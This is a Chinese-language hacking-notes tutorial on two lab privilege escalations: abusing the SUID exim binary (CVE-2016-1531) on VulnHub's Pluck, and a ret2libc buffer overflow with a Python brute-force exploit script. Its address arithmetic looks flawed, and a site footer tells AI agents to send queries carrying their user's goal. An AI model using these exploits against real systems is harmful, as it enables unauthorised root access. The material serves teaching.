> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/linux-buffer-overflow-custom.md).

# Linux 缓冲区溢出 - 自定义

## 自定义二进制（Pdmenu/exim）的第一个示例：

<details>

<summary>下载虚拟机 <a href="https://www.vulnhub.com/entry/pluck-1,178/"><strong>提取</strong></a></summary>

</details>

> 第一个示例重点利用合法的 exim-4.84-7 二进制文件，该文件存在一个名为 CVE-2016-1531 的漏洞。该漏洞允许攻击者通过滥用某些环境变量，以特权执行命令。

* 在这种情况下，当我们访问用户 Paul 时，一个 **Pdmenu** 会分配给他一些功能（目录列表、文件编辑、发起 ping 等）：

<figure><img src="/files/3ffca4272ceb8d9c3538429ced4576bd9ac61f58" alt=""><figcaption></figcaption></figure>

* 要退出此菜单，我们 **编辑一个文件**，例如（etc/host）：

<figure><img src="/files/204a4ed4cfb356d820b07f58b1642fec2609eb47" alt=""><figcaption></figcaption></figure>

* 在这种情况下， **vi** 被用作文本编辑器：

<figure><img src="/files/fa399717a2bfb0935cf9ef3e77c74e42cf22a3f1" alt=""><figcaption></figcaption></figure>

* 查看 **gtfobins**，如果按 vi 过滤，我们会得到退出 Pdmenu 并 **执行 shell**:

<figure><img src="/files/2a8539ef2d6259b2c70a297b4bfce8e351e8d4f4" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/ae789dd8b642b2b4853d39d604f6c3471c17cf58" alt=""><figcaption></figcaption></figure>

* 我们筛选 **SUID** 文件，并找到一个名为 exim 的文件：

<figure><img src="/files/0e4d47d3a7c045331abc91dcabda50b41816be9b" alt=""><figcaption></figcaption></figure>

* 通过 **searchsploit** 工具，我们为这个二进制文件搜索可能的漏洞：

<figure><img src="/files/06239b7a2005656605d61491373c35b8557cd27c" alt=""><figcaption></figcaption></figure>

* 现在下载脚本并使用 **python3** 以便在机器被攻陷后可以加载它：

<figure><img src="/files/3cb6c635ead666d68706afa0d23a6ce11cd1eb60" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/5a58eddf7774c42981a88f4414a2fe65ca047e00" alt=""><figcaption></figcaption></figure>

* 我们执行脚本，果然这个二进制文件的漏洞被利用了，因此我们获得 **root 访问权限**:<br>

  <figure><img src="/files/4d3a98967f70605ff38013ec1072a3eea2e27b08" alt=""><figcaption></figcaption></figure>

## 第二个示例（缓冲区溢出）：

<details>

<summary><strong>下载这个存在漏洞的</strong> <a href="https://releases.ubuntu.com/16.04/"><strong>Ubuntu</strong></a> <strong>机器</strong></summary>

</details>

<details>

<summary><strong>安装工具</strong> <a href="https://github.com/longld/peda"><strong>Peda</strong></a></summary>

</details>

> 第二个示例涉及一个 **缓冲区溢出** 在一个自定义的 [二进制文件](https://hack4u.io/wp-content/uploads/2023/04/custom) 在一台启用了主动防护和 ASLR 的 32 位 Linux 机器上。在这种情况下，我们重点利用一个具有 SUID 权限且由 root 拥有的二进制文件中的 ret2libc。通过缓冲区溢出，我们演示如何注入特权命令并提升用户权限。

\***缓冲区溢出** 需要覆盖某些系统寄存器，而且由于该二进制文件由用户创建并属于 root 组， **它将以特权用户身份运行**:

<figure><img src="/files/f5d3a69db55824c7ea71f021b55cec1a7ae8e816" alt=""><figcaption></figcaption></figure>

* 名为“custom”的二进制文件需要一个 **字符串输入** 而当它执行时，什么也不会发生：

<div data-full-width="true"><figure><img src="/files/a7948f76a1dd2700965b2cc7b15552ad64426d33" alt=""><figcaption></figcaption></figure></div>

* 但如果我们输入一个 **非常长的字符串**，它会返回错误（core dumped）：

<div data-full-width="true"><figure><img src="/files/350a68a1901b359e6ca4ec2b1859cbe9b3ba5463" alt=""><figcaption></figcaption></figure></div>

我们发送一个 **短字符串** 为 AAAAAAAA，并且没有 **出现错误**:

* 要深入分析这个二进制文件，我们将使用 **gdb-peda** 工具。

<figure><img src="/files/49df071a34c36538a3100497cfdf4cee9ff9e773" alt=""><figcaption></figcaption></figure>

* 但如果我们发送 **很多字符**，我们会得到以下错误：

<figure><img src="/files/4819919f9d66135542515fa592cecfc0706e32b7" alt=""><figcaption></figcaption></figure>

1. 首先要做的是 **确定字符串的总数** 以覆盖寄存器（EIP）所需的数量。

* 第一种方法是使用一个 **模式（pattern）** 创建一个链 **按空间设计的** （在这些情况下为 300 个字符），用于我们在二进制文件中的执行：

<div data-full-width="true"><figure><img src="/files/43bbe979d0fd64a691e760f50cf9f92e1d56ea10" alt=""><figcaption></figcaption></figure></div>

* 在 **EIP**的响应中，我们知道 **可见的下层链** 是“AA8A”：

<figure><img src="/files/af43b96a5be4b311a091fcf339250f0103c6f970" alt=""><figcaption></figcaption></figure>

* 该 **自动** 模式使用 `pattern offset $eip` 命令：

<figure><img src="/files/0e3e50c4f7c9140bf8bb056ed2a9fa0b388eddc2" alt=""><figcaption></figcaption></figure>

* 为了检查这一点，我们使用 **python3** 通过发送 112 个 A 字符再加上最后 4 个 B：

```bash
r $(python3 -c 'print("A"*112 + "B"*4)')
```

* 实际上，我们现在借助 **EIP** 它检测最后 4 个 B：

<figure><img src="/files/d71e9434811d827f14b2bb334a90b0b945223d22" alt=""><figcaption></figcaption></figure>

2. 一旦我们知道字符串的最大数量，我们就 **检查 ASLR** 这将确定是否存在 **内存地址的随机性** 还是没有：

/- 使用以下命令，我们筛选我们特别感兴趣的字符串，将二进制文件运行 10 次，看看它是否每次都变化，并查看 **C 库** 是否随机：

它确实是“随机”的

<figure><img src="/files/b41e8dd3fa7bd32452c194a8255a4941c14348f0" alt=""><figcaption></figcaption></figure>

3. 这些 **32 位** 二进制文件的问题通常是，如果我们现在例如运行 **1000 次** A 并按固定字符串过滤，我们会看到每次 **它至少会重复一次**:

<div data-full-width="true"><figure><img src="/files/ea2ee8987b8835482d6925f7cea52e450f6174a9" alt=""><figcaption></figcaption></figure></div>

4. 现在的目标是先找到 **EIP** 字符串（**system + exit + bin/\_sh**），这些值将始终固定，并且对于执行一个 **以 root 身份运行 Bash** 就像下面的示例，但使用 Python：

   <br>

   <figure><img src="/files/6eb2ca3598602f21737f81fd66405b38646905e7" alt=""><figcaption></figcaption></figure>

* 我们创建一个 **断点** 这样程序流程就会在此处停止：

<figure><img src="/files/36278cff646bcba6f1598f349d24b6800d671303" alt=""><figcaption></figcaption></figure>

* 我们注入 **EIP** （system/exit/bin/\_sh）的<br>

  <figure><img src="/files/d42c58039b504b2105ddbc161e56853b2db13151" alt=""><figcaption></figcaption></figure>

5. 一旦我们看到存在 **随机**，我们将需要使用 **暴力破解** 直到 **base/\_libc/\_addr** 等于所需的值：

/- 通过以下内容，我们将看到 **正在运行的库** （在这种情况下 **libc.so**):

<figure><img src="/files/04347e7c703eebabbb394e2304dcd168e4a70522" alt=""><figcaption></figcaption></figure>

* 使用 **readelf**，我们对库进行过滤并搜索之前注入的变量，它们是（**exit 和 system**）及其地址：

<figure><img src="/files/4b4d69949a9596d29895398cd6a941d6484d55a8" alt=""><figcaption></figcaption></figure>

* 并且为了找到字符串 **/bin/sh**，我们执行以下操作，添加一个 **0x00** 在开头：

<figure><img src="/files/376f74f78c46d59d0d8943ffcab1558ca6d0814c" alt=""><figcaption></figcaption></figure>

以下 Python3 脚本将 **自动化所有的暴力破解** 直到 **base/\_libc/\_addr** 相同为止：

```python
#!/usr/bin/python3

import subprocess
from struct import pack 
import sys 

offset = 112
before_eip = b"A" * 112

# 自定义 Linux 缓冲区溢出

base_libc_addr = 0xb7595000

system_addr_off = 0xb7d86db0
exit_addr_off = 0xb7d7a9e0
bin_sh_addr_off = 0xb7ea7b2b

system_addr = pack("<L", base_libc_addr + system_addr_off)
exit_addr = pack("<L", base_libc_addr + exit_addr_off)
bin_sh_addr = pack("<L", base_libc_addr + bin_sh_addr_off)

payload = before_eip + system_addr + exit_addr + bin_sh_addr

while True:
    result = subprocess.run(["sudo", "/usr/bin/custom", payload])

    if result.returncode == 0:
        print("/n/n [+] 退出.../n")
        sys.exit(0)
```

<figure><img src="/files/162df75df22a85bbc7f5edb087c1e5d1e359d4c6" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/useful-resources/exploit-development/linux-buffer-overflow-custom.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
